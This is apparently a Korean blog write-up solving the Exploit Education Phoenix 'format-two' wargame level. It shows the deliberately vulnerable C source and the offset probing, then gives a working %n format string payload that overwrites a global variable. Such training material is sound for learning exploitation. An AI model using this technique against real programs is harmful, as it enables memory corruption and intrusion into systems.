728x90
반응형
1. intro
2. code 및 분석
2.1. C code
/*
* phoenix/format-two, by https://exploit.education
*
* Can you change the "changeme" variable?
*
* What kind of flower should never be put in a vase?
* A cauliflower.
*/
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
int changeme;
void bounce(char *str) {
printf(str);
}
int main(int argc, char **argv) {
char buf[256];
printf("%s\n", BANNER);
if (argc > 1) {
memset(buf, 0, sizeof(buf));
strncpy(buf, argv[1], sizeof(buf));
bounce(buf);
}
if (changeme != 0) {
puts("Well done, the 'changeme' variable has been changed correctly!");
} else {
puts("Better luck next time!\n");
}
exit(0);
}
2.2. 분석
이번 문제에서는 전역 변수로 changeme가 선언되었고, bounce 함수 내에서 printf 함수로 argv[1]의 값을 출력한다.
마찬가지로 changeme 변수를 변조해야한다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
bounce 함수 내의 printf 함수가 format string bug를 일으킨다.
3.2. 공격 준비
이번에야말로 찐 format string bug 문제이다.
아래와 같이 문자열과 format string을 함께 인자로 사용했더니 일정 offset 이후에 문자열이 출력되었다.
user@phoenix-amd64:~$ /opt/phoenix/amd64/format-two AAAAAAAA%p%p%p%p%p%p%p%p%p%p%p%p
Welcome to phoenix/format-two, brought to you by https://exploit.education
AAAAAAAA00xe000x7fffffffe5a00x7fffffffe53f0x7fffffffe5800x7fffffffe5800x7fffffffe6800x400705
0x7fffffffe6d80x2004003680x4141414141414141Better luck next time!
offset을 확인해보면 12번째임을 알 수 있다.
그리고 changeme 변수의 위치는 아래와 같다.
0x0000000000400705 <+120>: mov 0x2003e5(%rip),%eax # 0x600af0 <changeme>
4. exploit
우선 아래와 같이 시도해 보았는데, 주소에 사용되는 null 들 때문에 값이 제대로 들어가지 않는다.
user@phoenix-amd64:~$ /opt/phoenix/amd64/format-two "`python -c 'print "\xf0\x0a\x60\x00\x00\x00\x00\x00" + "%p"*12 + "%n" '`"
-bash: warning: command substitution: ignored null byte in input
Welcome to phoenix/format-two, brought to you by https://exploit.education
▒
Segmentation fault
buf 변수 영역이 전부 0으로 초기화되어있기에 주소를 뒤로 옮겨주고 그에 따른 offset을 적절히 더했다.
user@phoenix-amd64:~$ /opt/phoenix/amd64/format-two "`python -c 'print "%p"*15+"%n"+"\xf0\x0a\x60"'`"
Welcome to phoenix/format-two, brought to you by https://exploit.education
00xd00x7fffffffe5a30x7fffffffe53f0x7fffffffe5800x7fffffffe5800x7fffffffe6800x4007050x7fffffffe6d80x2004003680x70257025702570250x70257025702570250x70257025702570250x6e25702570257025▒
`Well done, the 'changeme' variable has been changed correctly!
728x90
반응형
'Wargame > Exploit Education' 카테고리의 다른 글
[Phoenix] Format four (0) | 2022.09.30 |
---|---|
[Phoenix] Format three (0) | 2022.09.30 |
[Phoenix] Format one (0) | 2022.09.29 |
[Phoenix] Format zero (0) | 2022.09.28 |
[Phoenix] Stack six (0) | 2022.09.27 |